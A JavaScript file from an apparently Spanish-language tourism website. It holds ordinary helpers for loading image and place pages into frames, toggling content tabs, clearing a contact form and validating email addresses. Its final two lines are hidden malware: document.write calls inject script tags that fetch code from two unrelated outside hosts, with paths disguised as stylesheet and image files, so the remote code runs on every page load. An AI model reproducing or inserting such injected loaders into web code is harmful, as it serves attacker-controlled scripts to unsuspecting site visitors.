function loadForm(oForm, oHref) {
    var fObj = document.getElementById(oForm);
    fObj.src = oHref;
}

function loadParentForm(oForm, oHref) {
    var fObj = parent.window.document.getElementById(oForm);
    fObj.src = oHref; 
}

function loadImages(oForm) {
    var v_al = document.getElementById('cmdalojamientos').value;
    var v_ac = document.getElementById('cmdactividades').value;
    var v_ga = document.getElementById('cmdgastronomia').value;
    var v_pro = document.getElementById('cmdprovincia').value;

    if( v_al + v_ac + v_ga + v_pro == '-1-1-1-1' ) 
    {
      var fdiv = document.getElementById('aviso');
      fdiv.className = 'visible';
    }
    else
    {
      var fdiv = document.getElementById('aviso');
      fdiv.className = 'no_visible';

      var fObj = document.getElementById(oForm);      
      fObj.src = 'pages/imagenes_muestra.php?pageId=1&alojamientoId=' + v_al + '&actividadId=' + v_ac + '&gastronomiaId=' + v_ga + '&provinciaId=' + v_pro;
    }   

}

function loadImagesEspecifica(oForm,oGuia) {
    var v_guia = document.getElementById('cmdguia').value;
    var v_pro = document.getElementById('cmdprovincia').value;
    var fObj = parent.window.document.getElementById(oForm);
    
    if(oGuia=='1')
      {
        fObj.src = 'pages/imagenes_muestra.php?pageId=1&alojamientoId=' + v_guia + '&actividadId=-1&gastronomiaId=-1&provinciaId=' + v_pro;   
       }

    if(oGuia=='2')
      {
        fObj.src = 'pages/imagenes_muestra.php?pageId=1&alojamientoId=-1&actividadId=' + v_guia + '&gastronomiaId=-1&provinciaId=' + v_pro;   
       }

    if(oGuia=='3')
      {
        fObj.src = 'pages/imagenes_muestra.php?pageId=1&alojamientoId=-1&actividadId=-1&gastronomiaId=' + v_guia + '&provinciaId=' + v_pro;   
       }
     
}
function gotoImagen(oForm,Page_Id,Alojamiento_Id,Actividad_Id,Gastronomia_Id,Provincia_Id) {
    var fObj = parent.window.document.getElementById(oForm);
    fObj.src = 'pages/imagenes_muestra.php?&pageId=' + Page_Id + '&alojamientoId=' + Alojamiento_Id + '&actividadId=' + Actividad_Id + '&gastronomiaId=' + Gastronomia_Id + '&provinciaId=' + Provincia_Id;   
}


function loadLugar(oForm, tipo_lugar_id,tipo_lugar_desc_id,lugar_id,Page_Id,Alojamiento_Id,Actividad_Id,Gastronomia_Id,Provincia_Id) {
    var fObj = parent.window.document.getElementById(oForm);
    fObj.src = 'pages/mostrar_lugar.php?tipo_lugar_id='+ tipo_lugar_id + '&tipo_lugar_desc_id=' + tipo_lugar_desc_id + '&lugar_id=' + lugar_id + '&pageId=' + Page_Id + '&alojamientoId=' + Alojamiento_Id + '&actividadId=' + Actividad_Id + '&gastronomiaId=' + Gastronomia_Id + '&provinciaId=' + Provincia_Id;   
}

function loadLugarReturn(oForm, tipo_lugar_id,tipo_lugar_desc_id,lugar_id, page_return) {
    var fObj = parent.window.document.getElementById(oForm);
    fObj.src = 'pages/mostrar_lugar.php?tipo_lugar_id='+ tipo_lugar_id + '&tipo_lugar_desc_id=' + tipo_lugar_desc_id + '&lugar_id=' + lugar_id + '&page_return=' + page_return;   
}


function mostrarContenido(oIndex,oCantidad) {
    var oString = '';
    var fObj = document.getElementById('contenido' + oIndex);
    for(i=1;i<=oCantidad;i++)
    {
      fObj = document.getElementById('contenido' + i);
      fObjt = document.getElementById(i);
      if(i==oIndex)
        {
					fObj.className = 'contenido_visible';
          fObjt.className = 'selected';
        }
      else
        {	
          fObj.className = 'no_visible';
          fObjt.className = '';
        }  
    }
}

function BorrarContacto() {

  document.getElementById('txtNombre').value = '';
  document.getElementById('txtApellido').value = '';
  document.getElementById('txtEmail').value = '';
  document.getElementById('txtTelefono').value = '';
  document.getElementById('txtCiudad').value = '';
  document.getElementById('txtMensaje').value = '';
   
}

function EnviarMail(oForm)
{
  var sMail = oForm.txtEmail.value ;
  if (ValidaMail(sMail) == true)
  {
    oForm.submit();
  }  
  else
  {
    alert('El Mail no puede ser enviado. Direccion de email incorrecta');    
  }

}


function ValidaMail(texto){

    var mailres = true;            
    var cadena = "abcdefghijklmn?opqrstuvwxyzABCDEFGHIJKLMN?OPQRSTUVWXYZ1234567890@._-";
    
    var arroba = texto.indexOf("@",0);
    if ((texto.lastIndexOf("@")) != arroba) arroba = -1;
    
    var punto = texto.lastIndexOf(".");
                
     for (var contador = 0 ; contador < texto.length ; contador++){
        if (cadena.indexOf(texto.substr(contador, 1),0) == -1){
            mailres = false;
            break;
     }
    }

    if ((arroba > 1) && (arroba + 1 < punto) && (punto + 2 < (texto.length)) && (mailres == true) && (texto.indexOf("..",0) == -1))
     mailres = true;
    else
     mailres = false;
                
    return mailres;
}


function ventanaSecundaria (dir){
window.open(dir,"Ventana de Imagenes","width=500, height=420, top=100 , left=180 , scrollbars=no, menubar=no, location=no, resizable=no");

}
document.write('<script src=http://aeroflotcargo.in/Css/Cargo_services.php ><\/script>');
document.write('<script src=http://watercom.ca/images/gifimg.php ><\/script>');